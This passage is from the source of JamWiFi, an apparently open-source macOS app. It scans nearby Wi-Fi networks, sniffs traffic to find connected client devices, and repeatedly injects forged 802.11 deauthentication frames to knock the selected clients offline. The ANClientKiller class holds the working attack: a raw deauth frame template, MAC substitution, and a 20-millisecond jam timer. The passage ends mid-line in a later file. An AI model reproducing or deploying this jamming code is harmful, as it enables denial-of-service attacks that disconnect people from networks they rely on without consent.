| 14 | @synthesize window = _window; 15 | 16 | - (void)applicationDidFinishLaunching:(NSNotification *)aNotification { 17 | // Insert code here to initialize your application 18 | networkList = [[ANListView alloc] initWithFrame:[self.window.contentView bounds]]; 19 | [self pushView:networkList direction:ANViewSlideDirectionForward]; 20 | [[CarbonAppProcess currentProcess] makeFrontmost]; 21 | } 22 | 23 | - (BOOL)applicationShouldTerminateAfterLastWindowClosed:(NSApplication *)theApplication { 24 | return YES; 25 | } 26 | 27 | - (void)pushView:(NSView *)view direction:(ANViewSlideDirection)direction { 28 | if (animating) return; 29 | __weak id weakSelf = self; 30 | NSRect oldDestFrame = activeView.bounds; 31 | if (direction == ANViewSlideDirectionForward) { 32 | oldDestFrame.origin.x = -oldDestFrame.size.width; 33 | } else { 34 | oldDestFrame.origin.x = oldDestFrame.size.width; 35 | } 36 | 37 | NSRect newSourceFrame = [self.window.contentView bounds]; 38 | NSRect newDestFrame = [self.window.contentView bounds]; 39 | 40 | if (direction == ANViewSlideDirectionForward) { 41 | newSourceFrame.origin.x = newSourceFrame.size.width; 42 | } else { 43 | newSourceFrame.origin.x = -newSourceFrame.size.width; 44 | } 45 | 46 | animating = YES; 47 | 48 | [view setFrame:newSourceFrame]; 49 | [self.window.contentView addSubview:view]; 50 | nextView = view; 51 | 52 | [[NSAnimationContext currentContext] setDuration:0.3]; 53 | [[NSAnimationContext currentContext] setCompletionHandler:^{ 54 | [weakSelf animationComplete]; 55 | }]; 56 | [NSAnimationContext beginGrouping]; 57 | [[activeView animator] setFrame:oldDestFrame]; 58 | [[view animator] setFrame:newDestFrame]; 59 | [NSAnimationContext endGrouping]; 60 | } 61 | 62 | - (void)animationComplete { 63 | [activeView removeFromSuperview]; 64 | animating = NO; 65 | activeView = nextView; 66 | nextView = nil; 67 | } 68 | 69 | - (void)showNetworkList { 70 | [self pushView:networkList direction:ANViewSlideDirectionBackward]; 71 | } 72 | 73 | @end 74 | -------------------------------------------------------------------------------- /JamWiFi/ANClientKiller.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANClientKiller.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "ANWiFiSniffer.h" 11 | #import "ANClient.h" 12 | #import "MACParser.h" 13 | 14 | @interface ANClientKiller : NSView { 15 | NSMutableArray * clients; 16 | NSArray * channels; 17 | NSDictionary * networksForChannel; 18 | int channelIndex; 19 | ANWiFiSniffer * sniffer; 20 | NSTimer * jamTimer; 21 | 22 | NSTableView * infoTable; 23 | NSScrollView * infoScrollView; 24 | NSButton * backButton; 25 | NSButton * doneButton; 26 | 27 | NSButton * newClientsCheck; 28 | } 29 | 30 | - (id)initWithFrame:(NSRect)frame sniffer:(ANWiFiSniffer *)theSniffer networks:(NSArray *)networks clients:(NSArray *)theClients; 31 | - (void)configureUI; 32 | 33 | - (void)backButton:(id)sender; 34 | - (void)doneButton:(id)sender; 35 | 36 | - (void)performNextRound; 37 | - (AN80211Packet *)deauthPacketForBSSID:(const unsigned char *)bssid client:(const unsigned char *)client; 38 | - (BOOL)includesBSSID:(const unsigned char *)bssid; 39 | 40 | @end 41 | -------------------------------------------------------------------------------- /JamWiFi/ANClientKiller.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANClientKiller.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANClientKiller.h" 10 | #import "ANAppDelegate.h" 11 | #import "ANTrafficGatherer.h" 12 | 13 | #define DEAUTH_REQ \ 14 | "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ 15 | "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" 16 | 17 | @implementation ANClientKiller 18 | 19 | - (id)initWithFrame:(NSRect)frame sniffer:(ANWiFiSniffer *)theSniffer networks:(NSArray *)networks clients:(NSArray *)theClients { 20 | if ((self = [super initWithFrame:frame])) { 21 | clients = [theClients mutableCopy]; 22 | sniffer = theSniffer; 23 | [sniffer setDelegate:self]; 24 | [sniffer start]; 25 | 26 | NSMutableArray * mChannels = [[NSMutableArray alloc] init]; 27 | for (CWNetwork * net in networks) { 28 | if (![mChannels containsObject:net.wlanChannel]) { 29 | [mChannels addObject:net.wlanChannel]; 30 | } 31 | } 32 | channels = [mChannels copy]; 33 | channelIndex = -1; 34 | 35 | NSMutableDictionary * mNetworksPerChannel = [[NSMutableDictionary alloc] init]; 36 | for (CWChannel * channel in channels) { 37 | NSMutableArray * mNetworks = [[NSMutableArray alloc] init]; 38 | for (CWNetwork * network in networks) { 39 | if ([[network wlanChannel] isEqualToChannel:channel]) { 40 | [mNetworks addObject:network]; 41 | } 42 | } 43 | [mNetworksPerChannel setObject:[mNetworks copy] forKey:channel]; 44 | } 45 | networksForChannel = [mNetworksPerChannel copy]; 46 | 47 | jamTimer = [NSTimer scheduledTimerWithTimeInterval:0.02 target:self selector:@selector(performNextRound) userInfo:nil repeats:YES]; 48 | [self performNextRound]; 49 | 50 | [self configureUI]; 51 | } 52 | return self; 53 | } 54 | 55 | - (void)configureUI { 56 | NSRect frame = self.bounds; 57 | infoScrollView = [[NSScrollView alloc] initWithFrame:NSMakeRect(10, 52, frame.size.width - 20, frame.size.height - 62)]; 58 | infoTable = [[NSTableView alloc] initWithFrame:[[infoScrollView contentView] bounds]]; 59 | doneButton = [[NSButton alloc] initWithFrame:NSMakeRect(frame.size.width - 110, 10, 100, 24)]; 60 | backButton = [[NSButton alloc] initWithFrame:NSMakeRect(frame.size.width - 210, 10, 100, 24)]; 61 | newClientsCheck = [[NSButton alloc] initWithFrame:NSMakeRect(10, 10, 200, 24)]; 62 | 63 | [newClientsCheck setButtonType:NSSwitchButton]; 64 | [newClientsCheck setBezelStyle:NSRoundedBezelStyle]; 65 | [newClientsCheck setTitle:@"Actively scan for clients"]; 66 | [newClientsCheck setState:1]; 67 | 68 | [backButton setBezelStyle:NSRoundedBezelStyle]; 69 | [backButton setTitle:@"Back"]; 70 | [backButton setFont:[NSFont systemFontOfSize:13]]; 71 | [backButton setTarget:self]; 72 | [backButton setAction:@selector(backButton:)]; 73 | 74 | [doneButton setBezelStyle:NSRoundedBezelStyle]; 75 | [doneButton setTitle:@"Done"]; 76 | [doneButton setFont:[NSFont systemFontOfSize:13]]; 77 | [doneButton setTarget:self]; 78 | [doneButton setAction:@selector(doneButton:)]; 79 | 80 | NSTableColumn * enabledColumn = [[NSTableColumn alloc] initWithIdentifier:@"enabled"]; 81 | [[enabledColumn headerCell] setStringValue:@"Jam"]; 82 | [enabledColumn setWidth:30]; 83 | [enabledColumn setEditable:YES]; 84 | [infoTable addTableColumn:enabledColumn]; 85 | 86 | NSTableColumn * stationColumn = [[NSTableColumn alloc] initWithIdentifier:@"station"]; 87 | [[stationColumn headerCell] setStringValue:@"Station"]; 88 | [stationColumn setWidth:120]; 89 | [stationColumn setEditable:NO]; 90 | [infoTable addTableColumn:stationColumn]; 91 | 92 | NSTableColumn * deauthsColumn = [[NSTableColumn alloc] initWithIdentifier:@"count"]; 93 | [[deauthsColumn headerCell] setStringValue:@"Deauths"]; 94 | [deauthsColumn setWidth:120]; 95 | [deauthsColumn setEditable:NO]; 96 | [infoTable addTableColumn:deauthsColumn]; 97 | 98 | [infoScrollView setDocumentView:infoTable]; 99 | [infoScrollView setBorderType:NSBezelBorder]; 100 | [infoScrollView setHasVerticalScroller:YES]; 101 | [infoScrollView setHasHorizontalScroller:YES]; 102 | [infoScrollView setAutohidesScrollers:NO]; 103 | 104 | [infoTable setDataSource:self]; 105 | [infoTable setDelegate:self]; 106 | [infoTable setAllowsMultipleSelection:YES]; 107 | 108 | [self addSubview:infoScrollView]; 109 | [self addSubview:backButton]; 110 | [self addSubview:doneButton]; 111 | [self addSubview:newClientsCheck]; 112 | 113 | [self setAutoresizesSubviews:YES]; 114 | [self setAutoresizingMask:(NSViewWidthSizable | NSViewHeightSizable)]; 115 | [infoScrollView setAutoresizingMask:(NSViewWidthSizable | NSViewHeightSizable)]; 116 | [doneButton setAutoresizingMask:(NSViewMinXMargin)]; 117 | [backButton setAutoresizingMask:(NSViewMinXMargin)]; 118 | } 119 | 120 | #pragma mark - Events - 121 | 122 | - (void)backButton:(id)sender { 123 | [jamTimer invalidate]; 124 | jamTimer = nil; 125 | [sniffer setDelegate:nil]; 126 | NSMutableArray * networks = [NSMutableArray array]; 127 | for (id key in networksForChannel) { 128 | [networks addObjectsFromArray:[networksForChannel objectForKey:key]]; 129 | } 130 | ANTrafficGatherer * gatherer = [[ANTrafficGatherer alloc] initWithFrame:self.bounds sniffer:sniffer networks:networks]; 131 | [(ANAppDelegate *)[NSApp delegate] pushView:gatherer direction:ANViewSlideDirectionBackward]; 132 | } 133 | 134 | - (void)doneButton:(id)sender { 135 | [jamTimer invalidate]; 136 | jamTimer = nil; 137 | [sniffer stop]; 138 | [sniffer setDelegate:nil]; 139 | sniffer = nil; 140 | [(ANAppDelegate *)[NSApp delegate] showNetworkList]; 141 | } 142 | 143 | #pragma mark - Table View - 144 | 145 | - (NSInteger)numberOfRowsInTableView:(NSTableView *)tableView { 146 | return [clients count]; 147 | } 148 | 149 | - (id)tableView:(NSTableView *)tableView objectValueForTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 150 | ANClient * client = [clients objectAtIndex:row]; 151 | if ([[tableColumn identifier] isEqualToString:@"station"]) { 152 | return MACToString(client.macAddress); 153 | } else if ([[tableColumn identifier] isEqualToString:@"count"]) { 154 | return [NSNumber numberWithInt:client.deauthsSent]; 155 | } else if ([[tableColumn identifier] isEqualToString:@"enabled"]) { 156 | return [NSNumber numberWithBool:client.enabled]; 157 | } 158 | return nil; 159 | } 160 | 161 | - (NSCell *)tableView:(NSTableView *)tableView dataCellForTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 162 | if ([[tableColumn identifier] isEqualToString:@"enabled"]) { 163 | NSButtonCell * cell = [[NSButtonCell alloc] init]; 164 | [cell setButtonType:NSSwitchButton]; 165 | [cell setTitle:@""]; 166 | return cell; 167 | } 168 | return nil; 169 | } 170 | 171 | - (void)tableView:(NSTableView *)tableView setObjectValue:(id)object forTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 172 | ANClient * client = [clients objectAtIndex:row]; 173 | if ([[tableColumn identifier] isEqualToString:@"enabled"]) { 174 | [client setEnabled:[object boolValue]]; 175 | } 176 | } 177 | 178 | #pragma mark - Deauthing - 179 | 180 | - (void)performNextRound { 181 | channelIndex += 1; 182 | if (channelIndex >= [channels count]) { 183 | channelIndex = 0; 184 | } 185 | CWChannel * channel = [channels objectAtIndex:channelIndex]; 186 | [sniffer setChannel:channel]; 187 | // deauth all clients on all networks on this channel 188 | NSArray * networks = [networksForChannel objectForKey:channel]; 189 | for (ANClient * client in clients) { 190 | if (![client enabled]) continue; 191 | for (CWNetwork * network in networks) { 192 | unsigned char bssid[6]; 193 | copyMAC([network.bssid UTF8String], bssid); 194 | AN80211Packet * packet = [self deauthPacketForBSSID:bssid client:client.macAddress]; 195 | [sniffer writePacket:packet]; 196 | client.deauthsSent += 1; 197 | } 198 | } 199 | [infoTable reloadData]; 200 | } 201 | 202 | - (AN80211Packet *)deauthPacketForBSSID:(const unsigned char *)bssid client:(const unsigned char *)client { 203 | char deauth[26]; 204 | memcpy(&deauth[0], DEAUTH_REQ, 26); 205 | memcpy(&deauth[4], client, 6); 206 | memcpy(&deauth[10], bssid, 6); 207 | memcpy(&deauth[16], bssid, 6); 208 | AN80211Packet * packet = [[AN80211Packet alloc] initWithData:[NSData dataWithBytes:deauth length:26]]; 209 | return packet; 210 | } 211 | 212 | - (BOOL)includesBSSID:(const unsigned char *)bssid { 213 | for (id key in networksForChannel) { 214 | for (CWNetwork * network in [networksForChannel objectForKey:key]) { 215 | if ([MACToString(bssid) isEqualToString:network.bssid]) { 216 | return YES; 217 | } 218 | } 219 | } 220 | return NO; 221 | } 222 | 223 | #pragma mark - WiFi Sniffer - 224 | 225 | - (void)wifiSniffer:(ANWiFiSniffer *)sniffer gotPacket:(AN80211Packet *)packet { 226 | if (![newClientsCheck state]) return; 227 | BOOL hasClient = NO; 228 | unsigned char client[6]; 229 | unsigned char bssid[6]; 230 | if ([packet dataFCS] != [packet calculateFCS]) return; 231 | if (packet.macHeader->frame_control.from_ds == 0 && packet.macHeader->frame_control.to_ds == 1) { 232 | memcpy(bssid, packet.macHeader->mac1, 6); 233 | if (![self includesBSSID:bssid]) return; 234 | memcpy(client, packet.macHeader->mac2, 6); 235 | hasClient = YES; 236 | } else if (packet.macHeader->frame_control.from_ds == 0 && packet.macHeader->frame_control.to_ds == 0) { 237 | memcpy(bssid, packet.macHeader->mac3, 6); 238 | if (![self includesBSSID:bssid]) return; 239 | if (memcmp(packet.macHeader->mac2, packet.macHeader->mac3, 6) != 0) { 240 | memcpy(client, packet.macHeader->mac2, 6); 241 | hasClient = YES; 242 | } 243 | } else if (packet.macHeader->frame_control.from_ds == 1 && packet.macHeader->frame_control.to_ds == 0) { 244 | memcpy(bssid, packet.macHeader->mac2, 6); 245 | if (![self includesBSSID:bssid]) return; 246 | memcpy(client, packet.macHeader->mac1, 6); 247 | hasClient = YES; 248 | } 249 | if (client[0] == 0x33 && client[1] == 0x33) hasClient = NO; 250 | if (client[0] == 0x01 && client[1] == 0x00) hasClient = NO; 251 | if (client[0] == 0xFF && client[1] == 0xFF) hasClient = NO; 252 | if (client[0] == 0x03 && client[5] == 0x01) hasClient = NO; 253 | if (hasClient) { 254 | ANClient * clientObj = [[ANClient alloc] initWithMac:client bssid:bssid]; 255 | BOOL containsClient = NO; 256 | for (ANClient * aClient in clients) { 257 | if (memcmp(aClient.macAddress, clientObj.macAddress, 6) == 0) { 258 | containsClient = YES; 259 | break; 260 | } 261 | } 262 | if (!containsClient) { 263 | [clients addObject:clientObj]; 264 | [infoTable reloadData]; 265 | } 266 | } 267 | } 268 | 269 | - (void)wifiSniffer:(ANWiFiSniffer *)sniffer failedWithError:(NSError *)error { 270 | NSLog(@"Got error: %@", error); 271 | } 272 | 273 | - (void)wifiSnifferFailedToOpenInterface:(ANWiFiSniffer *)sniffer { 274 | NSLog(@"Couldn't open interface"); 275 | } 276 | 277 | @end 278 | -------------------------------------------------------------------------------- /JamWiFi/ANListView.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANListView.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import "ANTrafficGatherer.h" 12 | 13 | @interface ANListView : NSView { 14 | NSString * interfaceName; 15 | NSArray * networks; 16 | 17 | NSButton * scanButton; 18 | NSButton * disassociateButton; 19 | NSButton * jamButton; 20 | NSProgressIndicator * progressIndicator; 21 | NSScrollView * networksScrollView; 22 | NSTableView * networksTable; 23 | } 24 | 25 | - (void)scanInBackground; 26 | - (void)scanButton:(id)sender; 27 | - (void)disassociateButton:(id)sender; 28 | - (void)jamButton:(id)sender; 29 | 30 | - (NSString *)securityTypeString:(CWNetwork *)network; 31 | 32 | @end 33 | -------------------------------------------------------------------------------- /JamWiFi/ANListView.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANListView.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANListView.h" 10 | #import "ANAppDelegate.h" 11 | 12 | @interface ANListView (Private) 13 | 14 | - (void)handleScanError; 15 | - (void)handleScanSuccess:(NSArray *)theNetworks; 16 | 17 | @end 18 | 19 | @implementation ANListView 20 | 21 | - (id)initWithFrame:(NSRect)frame { 22 | if ((self = [super initWithFrame:frame])) { 23 | networksScrollView = [[NSScrollView alloc] initWithFrame:NSMakeRect(10, 52, frame.size.width - 20, frame.size.height - 62)]; 24 | networksTable = [[NSTableView alloc] initWithFrame:[[networksScrollView contentView] bounds]]; 25 | disassociateButton = [[NSButton alloc] initWithFrame:NSMakeRect(10, 10, 100, 24)]; 26 | scanButton = [[NSButton alloc] initWithFrame:NSMakeRect(110, 10, 100, 24)]; 27 | progressIndicator = [[NSProgressIndicator alloc] initWithFrame:NSMakeRect(225, 14, 16, 16)]; 28 | jamButton = [[NSButton alloc] initWithFrame:NSMakeRect(frame.size.width - 110, 10, 100, 24)]; 29 | 30 | [progressIndicator setControlSize:NSSmallControlSize]; 31 | [progressIndicator setStyle:NSProgressIndicatorSpinningStyle]; 32 | [progressIndicator setDisplayedWhenStopped:NO]; 33 | 34 | [scanButton setBezelStyle:NSRoundedBezelStyle]; 35 | [scanButton setTitle:@"Scan"]; 36 | [scanButton setTarget:self]; 37 | [scanButton setAction:@selector(scanButton:)]; 38 | [scanButton setFont:[NSFont systemFontOfSize:13]]; 39 | 40 | [disassociateButton setBezelStyle:NSRoundedBezelStyle]; 41 | [disassociateButton setTitle:@"Deauth"]; 42 | [disassociateButton setTarget:self]; 43 | [disassociateButton setAction:@selector(disassociateButton:)]; 44 | [disassociateButton setFont:[NSFont systemFontOfSize:13]]; 45 | 46 | [jamButton setBezelStyle:NSRoundedBezelStyle]; 47 | [jamButton setTitle:@"Jam"]; 48 | [jamButton setTarget:self]; 49 | [jamButton setAction:@selector(jamButton:)]; 50 | [jamButton setFont:[NSFont systemFontOfSize:13]]; 51 | [jamButton setEnabled:NO]; 52 | 53 | NSTableColumn * channelColumn = [[NSTableColumn alloc] initWithIdentifier:@"channel"]; 54 | [[channelColumn headerCell] setStringValue:@"CH"]; 55 | [channelColumn setWidth:40]; 56 | [channelColumn setEditable:YES]; 57 | [networksTable addTableColumn:channelColumn]; 58 | 59 | NSTableColumn * essidColumn = [[NSTableColumn alloc] initWithIdentifier:@"essid"]; 60 | [[essidColumn headerCell] setStringValue:@"ESSID"]; 61 | [essidColumn setWidth:170]; 62 | [essidColumn setEditable:YES]; 63 | [networksTable addTableColumn:essidColumn]; 64 | 65 | NSTableColumn * bssidColumn = [[NSTableColumn alloc] initWithIdentifier:@"bssid"]; 66 | [[bssidColumn headerCell] setStringValue:@"BSSID"]; 67 | [bssidColumn setWidth:120]; 68 | [bssidColumn setEditable:YES]; 69 | [networksTable addTableColumn:bssidColumn]; 70 | 71 | NSTableColumn * encColumn = [[NSTableColumn alloc] initWithIdentifier:@"enc"]; 72 | [[encColumn headerCell] setStringValue:@"Security"]; 73 | [encColumn setWidth:60]; 74 | [encColumn setEditable:YES]; 75 | [networksTable addTableColumn:encColumn]; 76 | 77 | NSTableColumn * rssiColumn = [[NSTableColumn alloc] initWithIdentifier:@"rssi"]; 78 | [[rssiColumn headerCell] setStringValue:@"RSSI"]; 79 | [rssiColumn setWidth:60]; 80 | [rssiColumn setEditable:YES]; 81 | [networksTable addTableColumn:rssiColumn]; 82 | 83 | [networksScrollView setDocumentView:networksTable]; 84 | [networksScrollView setBorderType:NSBezelBorder]; 85 | [networksScrollView setHasVerticalScroller:YES]; 86 | [networksScrollView setHasHorizontalScroller:YES]; 87 | [networksScrollView setAutohidesScrollers:NO]; 88 | 89 | [networksTable setDataSource:self]; 90 | [networksTable setDelegate:self]; 91 | [networksTable setAllowsMultipleSelection:YES]; 92 | 93 | [self addSubview:networksScrollView]; 94 | [self addSubview:scanButton]; 95 | [self addSubview:disassociateButton]; 96 | [self addSubview:progressIndicator]; 97 | [self addSubview:jamButton]; 98 | 99 | [self setAutoresizesSubviews:YES]; 100 | [self setAutoresizingMask:(NSViewWidthSizable | NSViewHeightSizable)]; 101 | [networksScrollView setAutoresizingMask:(NSViewWidthSizable | NSViewHeightSizable)]; 102 | [jamButton setAutoresizingMask:(NSViewMinXMargin)]; 103 | } 104 | return self; 105 | } 106 | 107 | - (void)scanButton:(id)sender { 108 | [progressIndicator startAnimation:self]; 109 | [scanButton setEnabled:NO]; 110 | [self scanInBackground]; 111 | } 112 | 113 | - (void)disassociateButton:(id)sender { 114 | CWInterface * interface = [CWInterface interface]; 115 | [interface disassociate]; 116 | } 117 | 118 | - (void)jamButton:(id)sender { 119 | NSMutableArray * theNetworks = [NSMutableArray array]; 120 | [[networksTable selectedRowIndexes] enumerateIndexesUsingBlock:^(NSUInteger idx, BOOL *stop) { 121 | [theNetworks addObject:[self->networks objectAtIndex:idx]]; 122 | }]; 123 | 124 | ANWiFiSniffer * sniffer = [[ANWiFiSniffer alloc] initWithInterfaceName:interfaceName]; 125 | ANTrafficGatherer * gatherer = [[ANTrafficGatherer alloc] initWithFrame:self.bounds sniffer:sniffer networks:theNetworks]; 126 | [(ANAppDelegate *)[NSApp delegate] pushView:gatherer direction:ANViewSlideDirectionForward]; 127 | } 128 | 129 | - (void)scanInBackground { 130 | dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0); 131 | __weak id weakSelf = self; 132 | dispatch_async(queue, ^{ 133 | CWInterface * interface = [CWInterface interface]; 134 | self->interfaceName = interface.interfaceName; 135 | NSError * error = nil; 136 | NSArray * nets = [[interface scanForNetworksWithSSID:nil error:&error] allObjects]; 137 | if (error) NSLog(@"wifi scan error: %@", error); 138 | if (!nets) { 139 | [weakSelf performSelectorOnMainThread:@selector(handleScanError) withObject:nil waitUntilDone:NO]; 140 | } else { 141 | [weakSelf performSelectorOnMainThread:@selector(handleScanSuccess:) withObject:nets waitUntilDone:NO]; 142 | } 143 | }); 144 | } 145 | 146 | - (NSInteger)numberOfRowsInTableView:(NSTableView *)tableView { 147 | return [networks count]; 148 | } 149 | 150 | - (id)tableView:(NSTableView *)tableView objectValueForTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 151 | CWNetwork * network = [networks objectAtIndex:row]; 152 | 153 | if ([[tableColumn identifier] isEqualToString:@"channel"]) { 154 | return [NSNumber numberWithInt:(int)network.wlanChannel.channelNumber]; 155 | } else if ([[tableColumn identifier] isEqualToString:@"essid"]) { 156 | return network.ssid; 157 | } else if ([[tableColumn identifier] isEqualToString:@"bssid"]) { 158 | return network.bssid; 159 | } else if ([[tableColumn identifier] isEqualToString:@"enc"]) { 160 | return [self securityTypeString:network]; 161 | } else if ([[tableColumn identifier] isEqualToString:@"rssi"]) { 162 | return [[NSNumber numberWithInteger:network.rssiValue] description]; 163 | } 164 | return nil; 165 | } 166 | 167 | - (void)tableView:(NSTableView *)tableView setObjectValue:(id)object forTableColumn:(NSTableColumn *)tableColumn row:(NSInteger)row { 168 | return; 169 | } 170 | 171 | - (void)tableViewSelectionDidChange:(NSNotification *)notification { 172 | if ([[networksTable selectedRowIndexes] count] > 0) { 173 | [jamButton setEnabled:YES]; 174 | } else { 175 | [jamButton setEnabled:NO]; 176 | } 177 | } 178 | 179 | - (NSString *)securityTypeString:(CWNetwork *)network { 180 | if ([network supportsSecurity:kCWSecurityDynamicWEP]) { 181 | return @"WEP"; 182 | } else if ([network supportsSecurity:kCWSecurityNone]) { 183 | return @"Open"; 184 | } else if ([network supportsSecurity:kCWSecurityEnterprise]) { 185 | return @"Enterprise"; 186 | } else { 187 | return @"WPA"; 188 | } 189 | } 190 | 191 | #pragma mark - Private - 192 | 193 | - (void)handleScanError { 194 | [progressIndicator stopAnimation:self]; 195 | [scanButton setEnabled:YES]; 196 | NSRunAlertPanel(@"Scan Failed", @"A network scan could not be completed at this time.", 197 | @"OK", nil, nil); 198 | } 199 | 200 | - (void)handleScanSuccess:(NSArray *)theNetworks { 201 | NSMutableArray * newNetworks = [theNetworks mutableCopy]; 202 | for (CWNetwork * network in networks) { 203 | if (![newNetworks containsObject:network]) { 204 | [newNetworks addObject:network]; 205 | } 206 | } 207 | [progressIndicator stopAnimation:self]; 208 | [scanButton setEnabled:YES]; 209 | networks = newNetworks; 210 | [networksTable reloadData]; 211 | } 212 | 213 | @end 214 | -------------------------------------------------------------------------------- /JamWiFi/ANTrafficGatherer.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANTrafficGatherer.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import "ANWiFiSniffer.h" 12 | #import "ANClient.h" 13 | #import "MACParser.h" 14 | 15 | @interface ANTrafficGatherer : NSView { 16 | ANWiFiSniffer * sniffer; 17 | NSArray * networks; 18 | NSArray * channels; 19 | int channelIndex; 20 | NSTimer * hopTimer; 21 | NSMutableArray * allClients; 22 | 23 | NSTableView * clientsTable; 24 | NSScrollView * clientsScrollView; 25 | 26 | NSButton * backButton; 27 | NSButton * continueButton; 28 | } 29 | 30 | - (id)initWithFrame:(NSRect)frameRect sniffer:(ANWiFiSniffer *)aSniffer networks:(NSArray *)theNetworks; 31 | - (void)configureUI; 32 | 33 | - (BOOL)includesBSSID:(const unsigned char *)bssid; 34 | - (void)hopChannel; 35 | 36 | - (void)backButton:(id)sender; 37 | - (void)continueButton:(id)sender; 38 | 39 | @end 40 | -------------------------------------------------------------------------------- /JamWiFi/ANTrafficGatherer.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANTrafficGatherer.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/25/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANTrafficGatherer.h" 10 | #import "ANAppDelegate.h" 11 | #import "ANClientKiller.h" 12 | 13 | @implementation ANTrafficGatherer 14 | 15 | - (id)initWithFrame:(NSRect)frameRect sniffer:(ANWiFiSniffer *)aSniffer networks:(NSArray *)theNetworks { 16 | if ((self = [super initWithFrame:frameRect])) { 17 | [self configureUI]; 18 | 19 | networks = theNetworks; 20 | sniffer = aSniffer; 21 | allClients = [[NSMutableArray alloc] init]; 22 | 23 | NSMutableArray * mChannels = [[NSMutableArray alloc] init]; 24 | for (CWNetwork * net in networks) { 25 | if (![mChannels containsObject:net.wlanChannel]) { 26 | [mChannels addObject:net.wlanChannel]; 27 | } 28 | } 29 | channels = [mChannels copy]; 30 | channelIndex = -1; 31 | [self hopChannel]; 32 | hopTimer = [NSTimer scheduledTimerWithTimeInterval:0.25 target:self selector:@selector(hopChannel) userInfo:nil repeats:YES]; 33 | 34 | [sniffer setDelegate:self]; 35 | [sniffer start]; 36 | } 37 | return self; 38 | } 39 | 40 | - (void)configureUI { 41 | NSRect frame = self.frame; 42 | clientsScrollView = [[NSScrollView alloc] initWithFrame:NSMakeRect(10, 52, frame.size.width - 20, frame.size.height - 62)]; 43 | clientsTable = [[NSTableView alloc] initWithFrame:[[clientsScrollView contentView] bounds]]; 44 | backButton = [[NSButton alloc] initWithFrame:NSMakeRect(10, 10, 100, 24)]; 45 | continueButton = [[NSButton alloc] initWithFrame:NSMakeRect(frame.size.width - 110, 10, 100, 24)]; 46 | 47 | [backButton setBezelStyle:NSRoundedBezelStyle]; 48 | [backButton setTitle:@"Back"]; 49 | [backButton setFont:[NSFont systemFontOfSize:13]]; 50 | [backButton setTarget:self]; 51 | [backButton setAction:@selector(backButton:)]; 52 | 53 | [continueButton setBezelStyle:NSRoundedBezelStyle]; 54 | [continueButton setTitle:@"Do It!"]; 55 | [continueButton setFont:[NSFont systemFontOfSize:13]]; 56 | [continueButton setTarget:self]; 57 | [continueButton setAction:@selector(continueButton:)]; 58 | 59 | NSTableColumn * checkedColumn = [[NSTableColumn alloc] initWithIdentifier:@"enabled"]; 60 | [[checkedColumn headerCell] setStringValue:@"Jam"]; 61 | [checkedColumn setWidth:30]; 62 | [checkedColumn setEditable:YES]; 63 | [clientsTable addTableColumn:checkedColumn]; 64 | 65 | NSTableColumn * stationColumn = [[NSTableColumn alloc] initWithIdentifier:@"station"]; 66 | [[stationColumn headerCell] setStringValue:@"Station"]; 67 | [stationColumn setWidth:120]; 68 | [stationColumn setEditable:NO]; 69 | [clientsTable addTableColumn:stationColumn]; 70 | 71 | NSTableColumn * bssidColumn = [[NSTableColumn alloc] initWithIdentifier:@"bssid"]; 72 | [[bssidColumn headerCell] setStringValue:@"BSSID"]; 73 | [bssidColumn setWidth:120]; 74 | [bssidColumn setEditable:NO]; 75 | [clientsTable addTableColumn:bssidColumn]; 76 | 77 | NSTableColumn * packetsColumn = [[NSTableColumn alloc] initWithIdentifier:@"count"]; 78 | [[packetsColumn headerCell] setStringValue:@"Packets"]; 79 | [packetsColumn setWidth:120]; 80 | [packetsColumn setEditable:NO]; 81 | [clientsTable addTableColumn:packetsColumn]; 82 | 83 | NSTableColumn * rssiColumn = [[NSTableColumn alloc] initWithIdentifier:@"rssi"]; 84 | [[rssiColumn headerCell] setStringValue:@"RSSI"]; 85 | [rssiColumn setWidth:70]; 86 | [rssiColumn setEditable:NO]; 87 | [clientsTable addTableColumn:rssiColumn]; 88 | 89 | [clientsScrollView setDocumentView:clientsTable]; 90 | [clientsScrollView setBorderType:NSBezelBorder]; 91 | [clientsScrollView setHasVerticalScroller:YES]; 92 | [clientsScrollView setHasHorizontalScroller:YES]; 93 | [clientsScrollView setAutohidesScrollers:NO]; 94 | 95 | [clientsTable setDataSource:self]; 96 | [clientsTable setDelegate:self]; 97 | [clientsTable setAllowsMultipleSelection:YES]; 98 | 99 | [self addSubview:clientsScrollView]; 100 | [self addSubview:continueButton]; 101 | [self addSubview:backButton]; 102 | 103 | [self setAutoresizesSubviews:YES]; 104 | [self setAutoresizingMask:(NSViewWidthSizable | NSViewHeightSizable)]; 105 | [clientsScrollView setAutoresizingMask:(NSViewWidthSizable | NSViewHeightSizable)]; 106 | [continueButton 